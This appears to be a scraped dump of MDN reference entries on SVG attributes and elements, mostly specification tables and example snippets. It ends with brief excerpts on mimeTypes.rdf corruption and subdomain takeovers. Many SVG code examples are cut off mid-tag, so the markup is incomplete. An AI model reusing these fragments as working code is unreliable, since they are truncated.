specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'k' in that specification.
... recommendation initial definition ...
k1 - SVG: Scalable Vector Graphics
WebSVGAttributek1
h="200" height="200" style="filter: url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'k1' in that specification.
... recommendation initial definition ...
k2 - SVG: Scalable Vector Graphics
WebSVGAttributek2
h="200" height="200" style="filter: url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'k2' in that specification.
... recommendation initial definition ...
k3 - SVG: Scalable Vector Graphics
WebSVGAttributek3
h="200" height="200" style="filter: url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'k3' in that specification.
... recommendation initial definition ...
k4 - SVG: Scalable Vector Graphics
WebSVGAttributek4
h="200" height="200" style="filter: url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'k4' in that specification.
... recommendation initial definition ...
keyPoints - SVG: Scalable Vector Graphics
specifications specification status comment svg animations level 2the definition of 'keypoints' in that specification.
... recommendation initial definition ...
keySplines - SVG: Scalable Vector Graphics
specifications specification status comment svg animations level 2the definition of 'keysplines' in that specification.
... recommendation initial definition ...
keyTimes - SVG: Scalable Vector Graphics
specifications specification status comment svg animations level 2the definition of 'keytimes' in that specification.
... recommendation initial definition ...
letter-spacing - SVG: Scalable Vector Graphics
specifications specification status comment css text module level 3the definition of 'letter-spacing' in that specification.
... recommendation initial definition ...
lighting-color - SVG: Scalable Vector Graphics
uselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting2); transform: translatex(220px);" /> </svg> usage notes value color default value white animatable yes specifications specification status comment filter effects module level 1the definition of 'lighting-color' in that specification.
... recommendation initial definition ...
limitingConeAngle - SVG: Scalable Vector Graphics
</fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#spotlight1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#spotlight2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'limitingconeangle' in that specification.
... recommendation initial definition ...
local - SVG: Scalable Vector Graphics
WebSVGAttributelocal
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'local' in that specification.
... recommendation initial definition ...
mathematical - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'mathematical' in that specification.
... recommendation initial definition ...
max - SVG: Scalable Vector Graphics
WebSVGAttributemax
specifications specification status comment svg animations level 2the definition of 'max' in that specification.
... recommendation initial definition ...
min - SVG: Scalable Vector Graphics
WebSVGAttributemin
specifications specification status comment svg animations level 2the definition of 'min' in that specification.
... recommendation initial definition ...
mode - SVG: Scalable Vector Graphics
WebSVGAttributemode
specifications specification status comment filter effects module level 1the definition of 'mode' in that specification.
... recommendation initial definition ...
numOctaves - SVG: Scalable Vector Graphics
filter id="displacementfilter"> <feturbulence basefrequency="0.05" numoctaves="3" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of 'numoctaves' in that specification.
... recommendation initial definition ...
orientation - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'orientation' in that specification.
... recommendation initial definition ...
origin - SVG: Scalable Vector Graphics
WebSVGAttributeorigin
only one element is using this attribute: <animatemotion> context notes value default default value default animatable no specifications specification status comment svg animations level 2the definition of 'origin' in that specification.
... recommendation initial definition (referring to smil animation specification) ...
paint-order - SVG: Scalable Vector Graphics
f" font-size="50px" font-weight="bold"> <text x="200" y="75">stroke over</text> <text x="200" y="150" paint-order="stroke" id="stroke-under">stroke under</text> </g> </svg> the example would be rendered as follows: the stroke under effect could be achieved via the following css property: #stroke-under { paint-order: stroke; } specifications specification status comment scalable vector graphics (svg) 2the definition of 'paint-order' in that specification.
... candidate recommendation initial definition ...
panose-1 - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'panose-1' in that specification.
... recommendation initial definition ...
pointsAtX - SVG: Scalable Vector Graphics
/> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#lighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#lighting2); transform: translatex(220px);" /> </svg> usage notes default value 0 value <number> animatable yes specifications specification status comment filter effects module level 1the definition of 'pointsatx' in that specification.
... recommendation initial definition ...
pointsAtY - SVG: Scalable Vector Graphics
/> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#lighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#lighting2); transform: translatex(220px);" /> </svg> usage notes default value 0 value <number> animatable yes specifications specification status comment filter effects module level 1the definition of 'pointsaty' in that specification.
... recommendation initial definition ...
pointsAtZ - SVG: Scalable Vector Graphics
/> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#lighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#lighting2); transform: translatex(220px);" /> </svg> usage notes default value 0 value <number> animatable yes specifications specification status comment filter effects module level 1the definition of 'pointsatz' in that specification.
... recommendation initial definition ...
preserveAlpha - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of 'preservealpha' in that specification.
... recommendation initial definition ...
primitiveUnits - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of 'primitiveunits' in that specification.
... recommendation initial definition ...
radius - SVG: Scalable Vector Graphics
WebSVGAttributeradius
usage notes value <number-optional-number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'radius' in that specification.
... recommendation initial definition ...
repeatCount - SVG: Scalable Vector Graphics
specifications specification status comment svg animations level 2the definition of 'repeatcount' in that specification.
... recommendation initial definition ...
repeatDur - SVG: Scalable Vector Graphics
specifications specification status comment svg animations level 2the definition of 'repeatdur' in that specification.
... recommendation initial definition ...
requiredFeatures - SVG: Scalable Vector Graphics
requiredfeatures="http://www.w3.org/tr/svg11/feature#extensibility" /> <text x="20" y="1152">http://www.w3.org/tr/svg11/feature#extensibility</text> </svg> css .ko { fill: #900; } .ok { fill: #060; } rect { stroke: #000; stroke-width: 2px; } text{ fill: #fff; font: 12px sans-serif; } result see also requiredfeatures.svg specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'requiredfeatures' in that specification.
... recommendation initial definition ...
restart - SVG: Scalable Vector Graphics
WebSVGAttributerestart
specifications specification status comment svg animations level 2the definition of 'restart' in that specification.
... recommendation initial definition ...
result - SVG: Scalable Vector Graphics
WebSVGAttributeresult
specifications specification status comment filter effects module level 1the definition of 'result' in that specification.
... recommendation initial definition ...
scale - SVG: Scalable Vector Graphics
WebSVGAttributescale
specifications specification status comment filter effects module level 1the definition of 'scale' in that specification.
... recommendation initial definition ...
seed - SVG: Scalable Vector Graphics
WebSVGAttributeseed
<filter id="displacementfilter"> <feturbulence basefrequency="0.05" seed="1000" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of 'seed' in that specification.
... recommendation initial definition ...
side - SVG: Scalable Vector Graphics
WebSVGAttributeside
specifications specification status comment scalable vector graphics (svg) 2the definition of 'side' in that specification.
... candidate recommendation initial definition ...
slope - SVG: Scalable Vector Graphics
WebSVGAttributeslope
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'slope' in that specification.
... recommendation initial definition ...
specularConstant - SVG: Scalable Vector Graphics
ting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#specularlighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#specularlighting2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 1 animatable yes specifications specification status comment filter effects module level 1the definition of 'specularconstant' in that specification.
... recommendation initial definition ...
stdDeviation - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of 'stddeviation' in that specification.
... recommendation initial definition ...
stemh - SVG: Scalable Vector Graphics
WebSVGAttributestemh
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'stemh' in that specification.
... recommendation initial definition ...
stemv - SVG: Scalable Vector Graphics
WebSVGAttributestemv
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'stemv' in that specification.
... recommendation initial definition ...
stitchTiles - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of 'stitchtiles' in that specification.
... recommendation initial definition ...
string - SVG: Scalable Vector Graphics
WebSVGAttributestring
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'string' in that specification.
... recommendation initial definition ...
tabindex - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'tabindex' in that specification.
... candidate recommendation initial definition ...
targetX - SVG: Scalable Vector Graphics
WebSVGAttributetargetX
specifications specification status comment filter effects module level 1the definition of 'targetx' in that specification.
... recommendation initial definition ...
targetY - SVG: Scalable Vector Graphics
WebSVGAttributetargetY
specifications specification status comment filter effects module level 1the definition of 'targety' in that specification.
... recommendation initial definition ...
transform-origin - SVG: Scalable Vector Graphics
specifications specification status comment css transforms level 1the definition of 'transform-origin' in that specification.
... candidate recommendation ...
type - SVG: Scalable Vector Graphics
WebSVGAttributetype
the other keywords represent convenience shortcuts to allow commonly used color operations to be performed without specifying a complete matrix.
... svg 1.1 (2nd edition) for the <fecolormatrix> element categories none value matrix | saturate | huerotate | luminancetoalpha animatable yes normative document svg 1.1 (2nd edition) for the <fefuncr>, <fefuncg>, <fefuncb>, and <fefunca> elements categories none value identity | table | discrete | linear | gamma animatable yes normative document svg 1.1 (2nd edition) for the <feturbulence> element categories none value fractalnoise | turbulence animatable yes normative document svg 1.1 (2nd edition) for the <style> and <script> elements categories none value <content-type> animatable ...
unicode - SVG: Scalable Vector Graphics
WebSVGAttributeunicode
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'unicode' in that specification.
... recommendation initial definition ...
units-per-em - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'units-per-em' in that specification.
... recommendation initial definition ...
v-alphabetic - SVG: Scalable Vector Graphics
only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'v-alphabetic' in that specification.
... recommendation initial definition ...
v-hanging - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'v-hanging' in that specification.
... recommendation initial definition ...
v-ideographic - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'v-ideographic' in that specification.
... recommendation initial definition ...
v-mathematical - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'v-mathematical' in that specification.
... recommendation initial definition ...
vector-effect - SVG: Scalable Vector Graphics
aled --> <path transform="translate(100,0)scale(4,1)" d="m10,20l40,100l39,200z" stroke="black" stroke-width="2px" fill="none"></path> <!-- fixed--> <path vector-effect="non-scaling-stroke" transform="translate(300,0)scale(4,1)" d="m10,20l40,100l39,200z" stroke="black" stroke-width="2px" fill="none"></path> </svg> result specifications specification status comment scalable vector graphics (svg) 2the definition of 'vector-effect' in that specification.
... candidate recommendation initial definition ...
version - SVG: Scalable Vector Graphics
WebSVGAttributeversion
<svg version="1.1" viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="80" height="80"/> </svg> usage notes value <number> default value none animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'version' in that specification.
... recommendation initial definition ...
vert-origin-x - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'vert-origin-x' in that specification.
... recommendation initial definition ...
vert-origin-y - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'vert-origin-y' in that specification.
... recommendation initial definition ...
viewTarget - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'viewtarget' in that specification.
... recommendation initial definition ...
word-spacing - SVG: Scalable Vector Graphics
specifications specification status comment css text module level 3the definition of 'word-spacing' in that specification.
... recommendation initial definition ...
x-height - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'x-height' in that specification.
... recommendation initial definition ...
xChannelSelector - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of 'xchannelselector' in that specification.
... recommendation initial definition ...
xlink:arcrole - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'xlink:arcrole' in that specification.
... recommendation initial definition ...
xlink:show - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'xlink:show' in that specification.
... recommendation initial definition ...
xlink:type - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'xlink:type' in that specification.
... recommendation initial definition ...
xml:base - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'xml:base' in that specification.
... recommendation initial definition ...
yChannelSelector - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of 'ychannelselector' in that specification.
... recommendation initial definition ...
zoomAndPan - SVG: Scalable Vector Graphics
iffuselighting in="sourcegraphic" zoomandpan="1"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting);" /> </svg> usage notes value disable | magnify default value magnify animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'zoomandpan' in that specification.
... recommendation initial definition ...
<altGlyph> - SVG: Scalable Vector Graphics
WebSVGElementaltGlyph
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<altglyph>' in that specification.
... recommendation initial definition ...
<altGlyphDef> - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<altglyphdef>' in that specification.
... recommendation initial definition ...
<altGlyphItem> - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<altglyphitem>' in that specification.
... recommendation initial definition ...
<animate> - SVG: Scalable Vector Graphics
WebSVGElementanimate
designing safer web animation for motion sensitivity · an a list apart article an introduction to the reduced motion media query | css-tricks responsive design for motion | webkit mdn understanding wcag, guideline 2.2 explanations understanding success criterion 2.2.2 | w3c understanding wcag 2.0 specifications specification status comment svg animations level 2the definition of '<animate>' in that specification.
... recommendation initial definition ...
<animateColor> - SVG: Scalable Vector Graphics
example svg <svg width="120" height="120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="60" r="50"> <animatecolor attributename="fill" attributetype="xml" from="black" to="red" dur="6s" repeatcount="indefinite"/> </circle> </svg> result specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<animatecolor>' in that specification.
... recommendation initial definition ...
<animateMotion> - SVG: Scalable Vector Graphics
specifications specification status comment svg animations level 2the definition of '<animatemotion>' in that specification.
... recommendation initial definition ...
<animateTransform> - SVG: Scalable Vector Graphics
specifications specification status comment svg animations level 2the definition of '<animatetransform>' in that specification.
... recommendation initial definition ...
<color-profile> - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<color-profile>' in that specification.
... recommendation initial definition ...
<feBlend> - SVG: Scalable Vector Graphics
WebSVGElementfeBlend
%" height="100%" flood-color="green" flood-opacity="1"/> <feblend in="sourcegraphic" in2="floodfill" mode="multiply"/> </filter> </defs> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filter:url(#spotlight);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<feblend>' in that specification.
... recommendation initial definition ...
<feComposite> - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of '<fecomposite>' in that specification.
... recommendation initial definition ...
<feConvolveMatrix> - SVG: Scalable Vector Graphics
="http://www.w3.org/1999/xlink"> <defs> <filter id="emboss"> <feconvolvematrix kernelmatrix="3 0 0 0 0 0 0 0 -3"/> </filter> </defs> <image xlink:href="/files/12668/mdn.svg" x="0" y="0" height="200" width="200" style="filter:url(#emboss);" /> </svg> result specifications specification status comment filter effects module level 1the definition of '<feconvolvematrix>' in that specification.
... recommendation initial definition ...
<feDiffuseLighting> - SVG: Scalable Vector Graphics
pointsatx="390" pointsaty="80" pointsatz="0"/> </fediffuselighting> <fecomposite in="sourcegraphic" in2="light" operator="arithmetic" k1="1" k2="0" k3="0" k4="0"/> </filter> <circle cx="390" cy="80" r="50" fill="green" filter="url(#lightme3)" /> </svg> expected rendering: live rendering: specifications specification status comment filter effects module level 1the definition of '<fediffuselighting>' in that specification.
... recommendation initial definition ...
<feDisplacementMap> - SVG: Scalable Vector Graphics
ementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of '<fedisplacementmap>' in that specification.
... recommendation initial definition ...
<feDistantLight> - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of '<fedistantlight>' in that specification.
... recommendation initial definition ...
<feFlood> - SVG: Scalable Vector Graphics
WebSVGElementfeFlood
ple html content <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <defs> <filter id="floodfilter" filterunits="userspaceonuse"> <feflood x="50" y="50" width="100" height="100" flood-color="green" flood-opacity="0.5"/> </filter> </defs> <use style="filter: url(#floodfilter);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<feflood>' in that specification.
... recommendation initial definition ...
<feFuncA> - SVG: Scalable Vector Graphics
WebSVGElementfeFuncA
specifications specification status comment filter effects module level 1the definition of '<fefunca>' in that specification.
... recommendation initial definition ...
<feFuncB> - SVG: Scalable Vector Graphics
WebSVGElementfeFuncB
specifications specification status comment filter effects module level 1the definition of '<fefuncb>' in that specification.
... recommendation initial definition ...
<feFuncG> - SVG: Scalable Vector Graphics
WebSVGElementfeFuncG
specifications specification status comment filter effects module level 1the definition of '<fefuncg>' in that specification.
... recommendation initial definition ...
<feFuncR> - SVG: Scalable Vector Graphics
WebSVGElementfeFuncR
specifications specification status comment filter effects module level 1the definition of '<fefuncr>' in that specification.
... recommendation initial definition ...
<feGaussianBlur> - SVG: Scalable Vector Graphics
filter id="dropshadow"> <fegaussianblur in="sourcealpha" stddeviation="3" /> <feoffset dx="2" dy="4" /> <femerge> <femergenode /> <femergenode in="sourcegraphic" /> </femerge> </filter> <circle cx="60" cy="60" r="50" fill="green" filter="url(#dropshadow)" /> </svg> result screenshotlive sample specifications specification status comment filter effects module level 1the definition of '<fegaussianblur>' in that specification.
... recommendation initial definition ...
<feImage> - SVG: Scalable Vector Graphics
WebSVGElementfeImage
le svg <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="image"> <feimage xlink:href="/files/6457/mdn_logo_only_color.png"/> </filter> </defs> <rect x="10%" y="10%" width="80%" height="80%" style="filter:url(#image);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<feimage>' in that specification.
... recommendation initial definition ...
<feMerge> - SVG: Scalable Vector Graphics
WebSVGElementfeMerge
specifications specification status comment filter effects module level 1the definition of '<femerge>' in that specification.
... recommendation initial definition ...
<feMergeNode> - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of '<femergenode>' in that specification.
... recommendation initial definition ...
<feMorphology> - SVG: Scalable Vector Graphics
</filter> <filter id="dilate"> <femorphology operator="dilate" radius="2"/> </filter> </svg> <p>normal text</p> <p id="thin">thinned text</p> <p id="thick">fattened text</p> css p { margin: 0; font-family: arial, helvetica, sans-serif; font-size: 3em; } #thin { filter: url(#erode); } #thick { filter: url(#dilate); } specifications specification status comment filter effects module level 1the definition of '<femorphology>' in that specification.
... recommendation initial definition ...
<feOffset> - SVG: Scalable Vector Graphics
WebSVGElementfeOffset
w3.org/2000/svg"> <defs> <filter id="offset" width="180" height="180"> <feoffset in="sourcegraphic" dx="60" dy="60" /> </filter> </defs> <rect x="0" y="0" width="100" height="100" stroke="black" fill="green"/> <rect x="0" y="0" width="100" height="100" stroke="black" fill="green" filter="url(#offset)"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<feoffset>' in that specification.
... recommendation initial definition ...
<fePointLight> - SVG: Scalable Vector Graphics
0" y="50" z="220"/> </fespecularlighting> <fecomposite in="sourcegraphic" in2="spotlight" operator="arithmetic" k1="0" k2="1" k3="1" k4="0"/> </filter> </defs> <image xlink:href="/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filter:url(#spotlight);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<fepointlight>' in that specification.
... recommendation initial definition ...
<feSpecularLighting> - SVG: Scalable Vector Graphics
ult="specout" specularexponent="20" lighting-color="#bbbbbb"> <fepointlight x="50" y="75" z="200"/> </fespecularlighting> <fecomposite in="sourcegraphic" in2="specout" operator="arithmetic" k1="0" k2="1" k3="1" k4="0"/> </filter> <circle cx="110" cy="110" r="100" style="filter:url(#filter)"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<fespecularlighting>' in that specification.
... recommendation initial definition ...
<feSpotLight> - SVG: Scalable Vector Graphics
limitingconeangle="5.5" /> </fespecularlighting> <fecomposite in="sourcegraphic" in2="spotlight" operator="out" k1="0" k2="1" k3="1" k4="0"/> </filter> </defs> <image xlink:href="/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filter:url(#spotlight);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<fespotlight>' in that specification.
... recommendation initial definition ...
<feTile> - SVG: Scalable Vector Graphics
WebSVGElementfeTile
<filter id="tile" x="0" y="0" width="100%" height="100%"> <fetile in="sourcegraphic" x="50" y="50" width="100" height="100" /> <fetile/> </filter> </defs> <image xlink:href="/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filter:url(#tile);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<fetile>' in that specification.
... recommendation initial definition ...
<feTurbulence> - SVG: Scalable Vector Graphics
ementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of '<feturbulence>' in that specification.
... recommendation initial definition ...
<filter> - SVG: Scalable Vector Graphics
WebSVGElementfilter
example svg <svg width="230" height="120" xmlns="http://www.w3.org/2000/svg"> <filter id="blurme"> <fegaussianblur stddeviation="5"/> </filter> <circle cx="60" cy="60" r="50" fill="green" /> <circle cx="170" cy="60" r="50" fill="green" filter="url(#blurme)" /> </svg> result screenshotlive sample specifications specification status comment filter effects module level 1the definition of '<filter>' in that specification.
... recommendation initial definition ...
<font-face-format> - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font-face-format>' in that specification.
... recommendation initial definition ...
<font-face-name> - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font-face-name>' in that specification.
... recommendation initial definition ...
<font-face-src> - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font-face-src>' in that specification.
... recommendation initial definition ...
<font-face-uri> - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font-face-uri>' in that specification.
... recommendation initial definition ...
<font-face> - SVG: Scalable Vector Graphics
WebSVGElementfont-face
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font-face>' in that specification.
... recommendation initial definition ...
<font> - SVG: Scalable Vector Graphics
WebSVGElementfont
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font>' in that specification.
... recommendation initial definition ...
<glyph> - SVG: Scalable Vector Graphics
WebSVGElementglyph
glyph unicode="!" horiz-adv-x="80" d="m0,0h200v200h-200z"></glyph> <glyph unicode="@" d="m0,50l100,300l400,100z"></glyph> </font> </defs> <text x="100" y="100" style="font-family: 'super sans', helvetica, sans-serif; font-weight: bold; font-style: normal">text using embe@dded font!</text> </svg> result specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<glyph>' in that specification.
... recommendation initial definition ...
<glyphRef> - SVG: Scalable Vector Graphics
WebSVGElementglyphRef
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<glyphref>' in that specification.
... recommendation initial definition ...
<hkern> - SVG: Scalable Vector Graphics
WebSVGElementhkern
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<hkern>' in that specification.
... recommendation initial definition ...
<missing-glyph> - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<missing-glyph>' in that specification.
... recommendation initial definition ...
<mpath> - SVG: Scalable Vector Graphics
WebSVGElementmpath
--> <path d="m-25,-12.5 l25,-12.5 l 0,-87.5 z" fill="yellow" stroke="red" stroke-width="7.06" > <!-- define the motion path animation --> <animatemotion dur="6s" repeatcount="indefinite" rotate="auto" > <mpath xlink:href="#path1"/> </animatemotion> </path> </svg> result specifications specification status comment svg animations level 2the definition of '<mpath>' in that specification.
... recommendation initial definition ...
<set> - SVG: Scalable Vector Graphics
WebSVGElementset
utes most notably: onbegin, onend, onrepeat global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements specifications specification status comment svg animations level 2the definition of '<set>' in that specification.
... recommendation initial definition ...
<tref> - SVG: Scalable Vector Graphics
WebSVGElementtref
xt> </defs> <text x="100" y="100" font-size="45" > inline character data </text> <text x="100" y="200" font-size="45" fill="red" > <tref xlink:href="#referencedtext"/> </text> <!-- show outline of canvas using 'rect' element --> <rect x="1" y="1" width="998" height="298" fill="none" stroke-width="2" /> </svg> specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font>' in that specification.
... recommendation initial definition ...
<vkern> - SVG: Scalable Vector Graphics
WebSVGElementvkern
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<vkern>' in that specification.
... recommendation initial definition ...
SVG 2 support in Mozilla - SVG: Scalable Vector Graphics
notes svg root and <foreignobject> not overflow:hidden in ua style sheet implementation status unknown allow overflow: auto; to clip and show scroll bars implementation status unknown allow overflow: scroll; to show scroll bars on <svg> elements implementation status unknown basic data types and interfaces change notes dommatrix or dommatrixreadonly instead of svgmatrix implementation status unknown domrect or domrectreadonly instead of svgrect implementation status unknown dompoint or dompointreadonly instead of svgpoint implementation status unknown members of svgstylable and svglangspace available in svgelement implementation status unknown svggraphicselement instea...
...dded non-scaling-size, non-rotation and fixed-position keywords for vector-effect property not implemented yet (bug 1318208) vector-effect has no effect within 3d rendering context implementation status unknown consider clip and overflow on svg document referenced by <image> implementation status unknown paths change notes b and b path commands implementation status unknown z and z path commands to add path coordinate data to previous command implementation status unknown not render <path>, <polygon> and <polyline> with no data implementation status unknown svgpathseg*, svganimatedpathdata and related methods removed from svgpathelement implementation status unknown d attribute as css ...
mimeTypes.rdf corruption - SVG: Scalable Vector Graphics
the latter is more common, so we'll start with that.
...it's adapted from jp fiset's comment in bug 303581 which in turn was adapted from jeff schiller's comment in bug 303581.
SVG: Scalable Vector Graphics
WebSVG
community view mozilla forums...
... connect 4 jvectormap (interactive maps for data visualization) jointjs (javascript diagramming library) d3 ( javascript library for visualizing data with html, svg, and css ) ...
Subdomain takeovers - Web security
(for "blog", you can substitute "e-commerce platform", "customer service platform", or any other "cloud-based" virtual hosting scenario.) the process you go through might look like this: you register the name "blog.example.com" with a domain registrar.
...depending on the size of the organization, this may require communication and coordination across multiple departments, which can only increase the likelihood for a vulnerable misconfiguration.
Using templates and slots - Web Components
